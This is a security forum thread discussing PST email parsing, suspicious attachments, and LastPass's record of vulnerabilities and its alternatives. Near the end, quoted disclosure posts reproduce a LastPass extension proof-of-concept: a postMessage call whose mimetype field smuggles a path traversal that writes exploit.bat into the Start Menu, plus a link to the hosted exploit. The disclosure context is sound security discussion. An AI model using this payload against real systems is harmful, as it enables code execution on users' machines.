Diametunim posted:

Anybody have tips for parsing PST files? I need to grab every email sent or received in an eight month time-span. Once I've done that I need to comb through the emails for certain keywords. I've tried using the built in advanced features in outlook but for some reason Outlook isn't returning all of the results. I'd like to do this programmatically but searching for python libraries that can parse PST files doesn't bring up much. Maybe this is a chance to export the PST and use one of the encase machines in my office.

Combing through peoples emails is really boring.

Boris Galerkin posted:

What is it about LastPass that makes it so bad? I use 1Password and I almost never hear about any earth shattering vulnerabilities but I don't know enough about them to know how they do things differently. Is it some kind of exposure thing? I'm not sure LastPass has an android app, and it was traditionally a OS X app and the lovely sluggish Windows version shows. More people using LastPass = more exploits found or is it something more fundamental like "those devs just don't know what they are doing?"

Sheep posted:

Are you sure it's an attachment and not an embedded image? That's often done so when the client loads the file they can track that someone (or something, but whatever) is checking the account, and then mark the address as a valid destination for future spam.

Edit: there are also random JPEG exploits like this that exist too, I guess.

Three-Phase posted:

100% sure it was an attachment. Using that to spread a JPEG exploit is possible but based on that CVE it only seems to work with certain software and much older OSes (Windows XP) but on the other hand I am sure throughout the world there are still tons of machines running poorly updated copies of Windows XP.

Scikar posted:

Barracuda spam filters got a mention recently because they don't scan emails above 256kB by default, on the basis that spammers don't send emails bigger than that but scanning large emails is more resource intensive. I'm a sure a spammer using a botnet would be fairly happy to use up more of somebody else's bandwidth to get more emails through to inboxes though. So it might just be to add size to the email while using a file format that isn't suspicious itself.

PBCrunch posted:

How much less secure is it to just make the resource accessible by entering an extremely long gibberish-filled URL? Let's ignore factors related to the iOS device, like losing the device or the device being compromised.

wolrah posted:

Why won't the iOS device save the credentials? I'd fix that rather than trying to make an obscured URL.

I'm betting the reason is a bogus SSL cert since that definitely makes Chrome not want to save passwords, in which case Let's Encrypt is the answer.

Khablam posted:

Imagine if the most popular password manager (and ergo the biggest target) was also the one with the devs who don't know what they're doing: Lastpass

Furism posted:

Please explain.

Absurd Alhazred posted:

Cutting edge stuff:

https://twitter.com/thezdi/status/842788469923442689

flosofl posted:

Last pass is a garbage fire of insecure coding practices, particularly in regards to the browser plugins. Tavis Ormandy keeps owning them over and over and over.

Thanks Ants posted:

I can be both bad and only look worse than the competition due to the focus on it. Being poorly written isn't really a thing that is only true because people are trying to find problems with it.

As in, applying the same level of focus to all password managers might reveal them all to be complete poo poo, it isn't going to suddenly make LastPass secure.

Furism posted:

Yeah, OK, but is it because he focuses on LastPass only or because LP is bad? This sounds like the whole "there are no viruses on Mac because it's a safe OS" from a few years ago just because nobody bothered to write any.

Furism posted:

Do we know for a fact it's poorly written, or just that there are some flaws? I don't think it's quite the same.

Furism posted:

Yes, and that isn't what I was implying. Sorry if I wasn't clear.

Do we know for a fact it's poorly written, or just that there are some flaws? I don't think it's quite the same.

I don't want to sound like I'm mindlessly defending LP. I'm just looking for the best password manager there is and if LP isn't that anymore then I want to understand why.

quote:

Update: Around the same time this post was going live, participants of this Reddit thread claimed to hack the site using what's known as a SQL injection exploit. Multiple people claimed that passwords were stored in plaintext rather than the standard practice of using cryptographic hashes. A few minutes after the insecurity first came up in the online discussion, a user reported the database was deleted.

[...]

Update: As several commenters have pointed out, the site's subscription page transmits credit card information over plain-vanilla HTTP pages as well. The lack of protection is made worse by the assurance on the same page that: "All credit card information is encrypted using our Secure Transaction Server." Making matters worse still: the login page is returning error messages that indicate it may be vulnerable to SQL injection attacks.

CLAM DOWN posted:

ratbert90 posted:

He also tore 1pass a new one earlier, but people seem to ignore that.

Wiggly Wayne DDS posted:

If your password manager, by default, has an unencrypted key stored (dOTP) that can be used to authenticate, obtain the encrypted vault key, decrypt the vault key, bypass IP restrictions, bypass 2FA and relies on local storage being impenetrable then you've got a bit of a design flaw. We've seen the damage in the past when Lastpass had an XSS problem that let an attacker grab any plaintext passwords from a vault silently. You're not storing your vault on a single system by virtue of using Lastpass so that is not the only possible angle of attack, and based on prior issues I can't comfortably advise people to use it for secure password storage. Especially given their response to the issues presented.

baka kaba posted:

Nobody can really say how well written it is, it's not like they release the code, but this is the kind of thing where flaws are a big problem. So having any issues like these in a security product kinda makes it 'poorly written', in that it's failing to do what it sets out to do

The trouble with LastPass is it's really convenient - all your passwords are automatically in the , the browser plugin handles getting and updating those passwords for you, it works some internet magic to automatically determine the right credentials and where they should be pasted on the page, and it all just runs within the browser with an extension that pops up its own UI. There's a lot to go wrong in there, and the exploits that have come out have hit all of these different aspects, from insecure password handling, to malicious websites impersonating another domain so the password is automatically filled in, to phishing scams where the extension's login UI pops up (but it's actually in another web page if you look real closely)

That and the fact it's so popular and centralised means it's a good target for people to attack - compromise their site and you can possibly get everything, spread an exploit around malicious pages/ads to grab a common site's credentials and you'll catch a decent chunk of LastPass users. That and the number of links in the chain make it inherently risky, so you have to trust they'll always be on top of things, but the exploits suggest they're not. Whether the convenience is worth it is up to you, but that's why it's not the 'best' password manager

psydude posted:

I mean I get that this opens up risks for the average person, but really it just sounds like the same old rules of common sense internet use still apply. Install uBlock, watching for phishing attacks, use OpenDNS when possible, etc. This is the case regardless as to whether or not you're using a password manager.

Khablam posted:

uBlock blacklists ads.
It doesn't audit the code of every wordpress blog you visit to check someone hasn't compromised it to use the LP exploit(s) against everyone visiting.
The solution is to not use lastpass, not decide "other things I do for other reasons make me safe".

It's honestly loving bizarre how far lastpass users will double-down on hand-waving the very very obvious issues it has, both in concept and execution of it.

psydude posted:

I'm not a lastpass user, nor am I doubling down on protecting it. I'm just saying that most of the stuff you mentioned, including XSS attacks, is going to be an issue regardless of whether or not you're using last pass or really anything else. And yes, I'm aware that the exploits you're talking about are LP specific.

e: Hey here's an idea, how about some suggestions for alternatives? That's what the dude was asking for.

OSI bean dip posted:

Free:
KeePass and cloud storage that isn't Dropbox

CLAM DOWN posted:

Fixed

OSI bean dip posted:

It doesn't really matter in the end what your cloud storage option is provided you're securing the password database with a decent keyphrase and are using key files not stored in the cloud.

CLAM DOWN posted:

I know I just despise and distrust dropbox

quote:

win = window.open("https://1min-ui-prod.service.lastpass.com/");
win.postMessage({fromExtension: false, cmd: "openattach", attachkey: "d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec", data: "!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ==", mimetype: "other:./../../../../../Start Menu/Programs/exploit.bat"}, "*");

quote:

LastPass responded and said they have NXDOMAIN'd 1min-ui-prod.service.lastpass.com while they investigate.

They also said they couldn't get my exploit to work, but I checked my apache access logs and they were using a Mac. Naturally, calc.exe will not appear on a Mac.

quote:

I've uploaded the exploit here:

https://lock.cmpxchg8b.com/SaiGhij5/lastpass.html

quote:

They also said they couldn't get my exploit to work, but I checked my apache access logs and they were using a Mac. Naturally, calc.exe will not appear on a Mac.

quote:

They also said they couldn't get my exploit to work, but I checked my apache access logs and they were using a Mac. Naturally, calc.exe will not appear on a Mac.